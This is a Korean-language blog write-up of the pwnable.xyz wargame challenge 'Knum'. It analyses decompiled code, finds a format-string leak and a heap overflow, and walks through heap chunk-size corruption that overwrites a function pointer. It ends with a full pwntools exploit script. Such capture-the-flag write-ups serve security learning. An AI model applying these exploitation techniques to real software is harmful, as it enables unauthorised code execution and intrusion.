블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] Knum
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] Knum

728x90

 

1. 문제


1) mitigation 확인 

다 걸려있음. 또한 FORTIFY가 걸려있다. 

 

 

2) 문제 확인 

처음에 5개의 메뉴가 출력된다. 1번 메뉴로 게임이 시작되는데, x,y 좌표에 값을 입력가능하다. 2번 메뉴는 현재 플레이어들의 스코어가 출력되고, 3번으로 리셋, 4번으로 노트를 drop 할수 있다. 

 

 

3) 코드 확인 

일단 해당 바이너리는 strip 되어있기 때문에 코드 분석을 통해 함수명과 변수들에 이름을 먼져 붙여 줬다. 

 

  1. main()
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      setup();
      init_game();
      menu();
      game();
      return 0LL;
    }

    메인 메뉴에서는 init_game()으로 초기화 과정을 거친뒤에 menu() 함수로 메뉴를 출력해주고, game() 함수로 실제 게임 메뉴 출력 및 실행이 된다. 차큰차큰 확인해보자 

     

     

  1. init_game()
    game_struct *init_game()
    {
      game_struct *game; // rax
      char *v1; // rax
      game_struct *result; // rax
    
      location = (uint8_t (*)[10][16])malloc(0xA0uLL);
      reset_hiscore();
      game = (game_struct *)malloc(0x28uLL);
      game_struct = game;
      game->p1_score = 0;                           // qword_203208 + 0x14 = 0
      game_struct->p2_score = 0;
      game_struct->graph_round = (void (__fastcall *)())graph_round;
      game_menu = (char *)malloc(0xC8uLL);
      memset(game_menu, 0, 0xC8uLL);
      v1 = game_menu;
      *(_QWORD *)game_menu = ' yalP .1';
      strcpy(v1 + 8, "a game\n2. Show hiscore\n3. Reset hiscore\n4. Drop me a note\n5. Exit\n");
      result = game_struct;
      strcpy(game_struct->version, "KNUM v.01\n");
      return result;
    }

    init_game() 에서도 변수명을 분석을 통해 수정했고, 구조체를 생성하여 세팅을 해주었다. 일단 해당 함수는 게임에 필요한 초기 값들을 할당해주는 과정이다. reset_hiscore 함수가 있는데, 이를 먼저 간단히 살펴보자. 

     

    char *reset_hiscore()
    {
      if ( ptr )
        free(ptr);
      ptr = (hiscore *)malloc(0x7A8uLL);
      strcpy_(0, "Kileak", 1000, "You cannot beat me in my own game, can you? :P");
      strcpy_(1, "vakzz", 999, "Expected a kernel pwn here :(");
      strcpy_(2, "uafio", 998, "My knum senses are tingling...");
      strcpy_(3, "grazfather", 997, "I hope you used gef to debug this shitty piece of software!");
      strcpy_(4, "rh0gue", 997, "I eat kbbq");
      strcpy_(5, "corb3nik", 996, "Where's my putine???");
      strcpy_(6, "reznok", 995, "Did anyone find the web interface by now?");
      strcpy_(7, "zer0", 3, "Will be a draw...");
      strcpy_(8, "Tuan Linh", 2, "how can I delete my message here???");
      return strcpy_(9, "zophike1", 1, "No time to play this game, have to do pwn2own and some kernel pwnz instead...");
    }

    ptr 영역에 값이 존재하면, free를 시킨다. 그리고 0x7a8 만큼 할당을 받고, 해당 영역에 플레이어들의 이름, 점수, 한마디 들이 저장이 된다. ptr 역시 구조체 변수이다. 

     

    이제 다시 init_game() 함수로 돌아가서, 중요한 부분을 살펴보자. 집중해서 봐야할 것은 크게 4가지 변수이다. 아래에서 설명하는 변수들은 모두 bss 영역에 존재하는 전역변수이다. 

     

    • ptr

      위에서 말한대로, 플레이어들의 게임 정보들이 저장되어있는 공간이다. 

       

    • location

      x, y 좌표 평면에 들어가는 값을 위한 공간을 malloc을 통해 할당해준다. (0xA0 사이즈) 

       

    • game_struct

      게임에 필요한 정보들을 담는 공간을 malloc을 통해 할당해준다. (0x28 사이즈). 구조체 멤버 변수로는 다음과 같다 

      1. 플레이어 1,2 의 스코어
      1. grapth_round 함수포인터 → 좌표평면을 출력해주는 함수임
      1. 게임의 현재버전
      1. 현재 게임 round → 여기서는 알수 없었으나, 뒤에서 알게됨
      1. 게임 플레이어 → 이것도 뒤에서 알게됨. 현 함수에서는 몰랐음

         

    • game_menu

      요거 출력해주는 함수 포인터. 

       

       

    이 4개의 변수들은 다음의 위치에 선언되어 있다. 

    그럼 이제 해당 구조체 변수들의 의미를 알았으니 어떤 형태의 멤버들을 가지고 있는지 그림으로 봐보자. 

     

    요렇게 구조체가 구성되어 있다. 

     

     

  1. game() 함수
    __int64 game()
    {
      __int64 result; // rax
      char v1; // [rsp+Fh] [rbp-1h]
    
      while ( 1 )
      {
        print_game_menu();
        v1 = getchar();
        getchar();
        result = (unsigned int)(v1 - 0x31);
        switch ( v1 )
        {
          case 0x31:
            play_game();
            break;
          case 0x32:
            show_hiscore();
            break;
          case 0x33:
            reset_hiscore();
            break;
          case 0x34:
            drop_note();
            break;
          case 0x35:
            return result;
          default:
            puts("Invalid option...");
            break;
        }
      }
    }

    game() 함수에서 실제 게임 메뉴가 출력되면서, 입력한 값에 따라 원하는 함수들이 실행된다. play_game() 부터 살펴보자 

     

     

  1. play_game() 함수
    unsigned __int64 play_game()
    {
      __int64 v0; // rdx
      unsigned int x; // [rsp+4h] [rbp-1Ch]
      unsigned int y; // [rsp+8h] [rbp-18h]
      unsigned int value; // [rsp+Ch] [rbp-14h]
      int v5; // [rsp+10h] [rbp-10h]
      int v6; // [rsp+14h] [rbp-Ch]
      unsigned __int64 v7; // [rsp+18h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      v5 = 1;
      init_game_struct();
      while ( 1 )
      {
        x = 0;
        y = 0;
        value = 0;
        game_struct->graph_round();
        while ( !x && !y || (*location)[y][x] )
        {
          __printf_chk(1LL, "Player %d - Enter your move (invalid input to end game)\n");
          __printf_chk(1LL, "- Enter target field (x y): ");
          if ( (unsigned int)__isoc99_scanf("%d %d", &x, &y) != 2 )
          {
            v5 = 0;
            break;
          }
        }
        if ( !v5 )
          break;
        if ( x > 0x10 || y > 0xA )
        {
          puts("Invalid move...");
        }
        else
        {
          while ( !value || value > 0xFF )
          {
            __printf_chk(1LL, "- Enter the value you want to put there (< 255): ");
            __isoc99_scanf("%d", &value, v0);
          }
          (*location)[10 - y][x - 1] = value;
          v6 = check_value();
          if ( v6 > 0 )
          {
            __printf_chk(1LL, "You scored %d points!\n");
            game_struct->p1_score += v6;
          }
        }
        ++game_struct->round;
      }
      update_info(game_struct->p1_score);
      return __readfsqword(0x28u) ^ v7;
    }

    해당 함수에서 좌표 평면을 선택하여 해당 위치에 원하는 값을 입력할 수 있다. 좌표평면은 location 구조체에 인덱스에 맞게 들어가는데, 현재 구조체를 설정해줘서 저렇게 보인다. 어셈블리어로 해석하게 되면, location 주소 + 16 * (10-y) + x -1 요렇게 계산이 되는걸 알수 있다. 

     

    좌표 평면을 보면, (1,1) 좌표가 최소, (16,10) 좌표가 최대 맥시멈 위치이다.  

     

    위 사진을 보면, location 영역의 위한 청크가 생성되어있다. 노란색 영역에 값이 들어갈수 있고, (1,16)에 값을 입력시 해당 영역의 제일 마지막 영역에 값이 들어간다. 하지만 y 에 0을 넣게 되면, 16 * (10 - 0) 이되어서 location mem 영역 + 0x160 + x-1 으로 계산이 되고, 이를 통해 0x555555758300 부터 0x10 크기 만큼 값을 쓸수 있다. 

     

    이 영역은 ptr 청크 영역으로 ptr 청크의 헤더사이즈를 변경가능하다. 이를 어떻게 이용할지 생각해야 한다.  

     

    정리하자면, play_game() 함수에서 좌표에 값을 입력하고, check_value 함수를 호출한다. 이는 현재 좌표 평면에 입력되어있는 값들의 합이 1000이 되면 v1 변수를 ++ 시키고 반환한다. 해당 반환된 값이 양수가 되면, 현재 p1 플레이어의 score를 반환된 값과 더한다. 

     

    그리고 update_info 함수를 통해 현재 ptr에 저장되어있는 플레이어들의 스코어가 방금 계산된 값보다 작은놈이 있다면, 해당 플레이어를 내 이름과 한마디로 수정이 가능하다.  

     

    void __fastcall update_info(unsigned int score)
    {
      int i; // [rsp+1Ch] [rbp-4h]
    
      for ( i = 0; i <= 9; ++i )
      {
        if ( (int)score > ptr[i].score )
        {
          update_name_remark(score);
          return;
        }
      }
      puts("You didn't make it in the hall of fame :(");
    }

    방금 말한 수정은 update_info 함수안에서 update_name_remark 함수에서 이루어 진다. 

     

    void __fastcall update_name_remark(int score)
    {
      int i; // [rsp+1Ch] [rbp-14h]
      void *name; // [rsp+20h] [rbp-10h]
      char *remark; // [rsp+28h] [rbp-8h]
    
      name = malloc(0x40uLL);
      remark = (char *)malloc(0x80uLL);
      memset(name, 0, 0x40uLL);
      memset(remark, 0, 0x80uLL);
      getchar();
      getchar();
      __printf_chk(1LL, "Enter your name (max 63 chars) : ");
      fgets((char *)name, 64, stdin);
      __printf_chk(1LL, "Enter a remark (max 127 chars) : ");
      fgets(remark, 128, stdin);
      if ( *((_BYTE *)name + strlen((const char *)name) - 1) == '\n' )
        *((_BYTE *)name + strlen((const char *)name) - 1) = 0;
      if ( remark[strlen(remark) - 1] == '\n' )
        remark[strlen(remark) - 1] = 0;
      for ( i = 0; i <= 9; ++i )
      {
        if ( score > ptr[i].score )
        {
          strcpy_(i, (const char *)name, score, remark);
          break;
        }
      }
      free(remark);
      free(name);
    }

    update_name_remark 함수는 이름과 remark를 새로 할당받은 힙 영역에 삽입한다. 

     

     

  1. show_hiscore() 함수
    int show_hiscore()
    {
      int i; // [rsp+Ch] [rbp-4h]
    
      putchar(10);
      puts("Hall of fame - All time best knum players");
      puts("#################################################################");
      for ( i = 0; i <= 9; ++i )
      {
        __printf_chk(1LL, "%d. %s - %d\n\t");
        __printf_chk(1LL, ptr[i].remark);
        putchar(10);
      }
      puts("#################################################################");
      return putchar(10);
    }

    해당 함수는 현 ptr에 저장된 플레이어들의 정보를 출력해준다. 헌데 ptr[i].remark 부분에서 서식문자가 없기 때문에, fsb가 터진다. 이도 중요한 포인트이다. 

     

     

  1. drop_note()
    int drop_note()
    {
      if ( insert_note )
        return puts("You already sent me a note, that should be enough...");
      insert_note = (char *)malloc(0x48uLL);
      __printf_chk(1LL, "Enter your note for me: ");
      fgets(insert_note, 72, stdin);
      return puts("Thanks for your input :)");
    }

    해당 함수는 그냥 0x48크기의 청크를 할당하여 그 공간에 메모를 입력할수 있다. 단, 한번만 가능하다. 

     

     

     

2. 접근방법


분석이 매우 오래걸렸다. 지금까지 알아낸 것을 정리해보자 

 

  1. show_hiscore 함수에서 fsb 가능. 하지만 FORTIFY 때문에 %n은 사용 불가.
  1. play_game() 함수에서 heap overflow 가능

 

우선 1번을 이용하여 코드 base 주소를 알아내어 win 함수주소를 구할 수 있다. 그리고 현재 힙의 구조는 다음과 같이 구성되어 있다. 

 

현재 함수 포인터가 존재하는 것 중 접근 가능한 곳이 바로 초록색 청크이다. 해당 청크는 게임의 정보가 담겨져 있고, 0x28 위치에 graph_round 함수 포인터가 들어있다. 만약, update_name_remark 함수에서 새로 할당받는 이름 혹은 remark 힙 영역이 저 초록색 청크가 된다면, 

 

이름이나 remark 입력시 0x28위치에 존재하는 graph_round 함수 포인터를 win 함수로 덮을수 있을 것이다. 그렇다면 어떻게 저 초록색을 재할당 시켜, update_name_remark 함수에서 사용할수 있게 하는지 생각해보자. 

 

우선 초기에 base 주소 leak을 성공했다고 가정해보자. 그러면, update_name_remark 함수가 한번 호출되었기 때문에, name, remark 청크가 할당 되고, 로직 수행 후에 free되었을 것이다. 위 힙 구조가 이때의 상황이다. free된 두개의 청크가 top 청크와 인접한 청크이기 때문에 탑청크에 더해진다. 

 

이 상태에서 play_game()의 취약점을 이용하여 Hiscore 청크 사이즈를 0x8b0으로 변경하였다. 이는 game_struct, game_menu, 청크를 모두 포함하는 사이즈이다. 이제 reset_hiscore 함수를 호출하게 되면 Hiscore 청크가(ptr)이 free가 되고, 다시 malloc(0x7A8)을 할것이다. 

 

reset_hiscore() 함수가 호출되면 먼져 free(ptr)이 수행된다. 아까 ptr의 청크 사이즈를 변경하였으므로, free가 되면, game_menu 청크까지 하나의 ptr 청크로 인식되면서, free가 되고, game_menu가 top 청크와 인접하기 때문에 탑청크와 병합이 되어, 왼쪽 처럼 top 청크가 올라간다. 

 

위 상황이 free(ptr)이 된 상황이다. unsorted bin에 0x8b0 크기 청크가 들어가 있다. 이제 malloc(0x7A8)를 호출하면, malloc 로직에 의해 unsorted bin에 들어있는 청크는 largebin에 들어가고, large bin을 뒤져서 요청한 사이즈를 재할당해준다. 그리고 split 후 남는 청크는 다시 unsorted bin에 들어간다. 

 

말한것처럼 unsorted bin에 split 된 0x100 청크가 들어가있다. 다시 그림을 봐보자 

 

아까 ptr 청크 사이즈 부분을 강제로 0x8b0으로 변경했기 떄문에, 청크 헤더에 적혀져 있는 사이즈는 0x8b0일지라도 실제 크기는 0x7b0이다. 따라서 malloc(0x7a8) 호출시, 아까와 동일한 사이즈를 재할당 받고, 적혀져 있는 청크 사이즈때문에 0x100의 split된 청크가 발생하는데, 이는 game_struct, game_menu 청크를 합한 크기이다. 

 

따라서 이제 한번더 어느 함수든 간에 malloc이 사용된다면, top 청크를 다시 잘라서, 재할당 해줄것이고, 이때 재할당해주는 영역은 game_struct가 들어있기 때문에, 해당 청크의 멤버 변수중 graph_round부분을 수정 가능하다. 

 

참고로, update_name_remark 함수를 통해, malloc(0x40)이 호출되고, 이는 game_struct 청크 크기를 포함하기 때문에, 이를 이용하면 된다. 하지만, 그 전에 먼저 tache에 현재 free된 name(0x50), remark(0x90) 청크가 존재한다. 아까 leak때 update_name_remark를 한번 호출했기 때문이다. 

 

따라서 drop_note() 함수를 한번 호출해서, tcahe에 존재하는 0x50 크기 청크를 빼줘야한다. 그래야 update_name_remark에서 malloc(0x40) 호출시, top 청크를 잘라서 재할당 해줄 것이다. tache에 들어있는 0x90 청크는 0x50보다 크기 때문에 안비워줘도 된다. 

 

그럼 최종적으로 오른쪽 과 같이 파란색 부분이 재할당되고, 여기에 존재하는 graph_round 함수포인터를 덮을 수 있다. 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30043)
p=process("./challenge")
#gdb.attach(p,'code\nb *0x1938+$code\n')
gdb.attach(p)

def main_menu(index):
	p.sendlineafter("5. Exit\n",str(index))

def play_game(x,y,value):
	p.sendlineafter('y): ',str(x)+' '+str(y))
	p.sendlineafter('5): ',str(value))

def drop_note(note):
	p.sendlineafter('me: ',str(note))


main_menu(1)

for i in range(1,5):

	if i%4==0:
		play_game(1,i,238)
	else:
		play_game(1,i,254)

for i in range(1,5):

        if i%4==0:
                play_game(1,i,238)
        else:
                play_game(1,i,254)

p.sendlineafter('y): ','j')
p.sendlineafter('63 chars) : ',"AA")
p.sendlineafter('127 chars) : ','%p %p %p %p %p %p %p %p')

main_menu(2)

p.recvuntil('AA - 5\n\t')
tmp=int(p.recvuntil('\n')[-13:-1],16)
libc_base=tmp-0x1949
log.info(hex(tmp))
log.info(hex(libc_base))

main_menu(1)
play_game(10,0,8)

p.sendlineafter('y): ','j')

main_menu(3) #reset -> free(ptr)
main_menu(4)
drop_note('A')

main_menu(1)

#gdb.attach(p)
for i in range(1,5):

        if i%4==0:
                play_game(1,i,238)
        else:
                play_game(1,i,254)

for i in range(1,5):

        if i%4==0:
                play_game(1,i,238)
        else:
                play_game(1,i,254)

win=libc_base+0x19FE
p.sendlineafter('y): ','j')
p.sendlineafter('63 chars) : ',"A"*0x20+p64(win))
pause()
p.sendlineafter('127 chars) : ','BBBBBBBBBB')

p.sendline("1")

p.interactive()

 

 

 

4. 몰랐던 개념


구조를 분석하는데 제일 오래걸렸다... 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] fishing  (0) 2020.06.09
[pwnable.xyz] BabyVM  (0) 2020.06.03
[pwnable.xyz] PvE  (0) 2020.05.27
[pwnable.xyz] note v3  (0) 2020.05.25
[pwnable.xyz] world  (0) 2020.05.22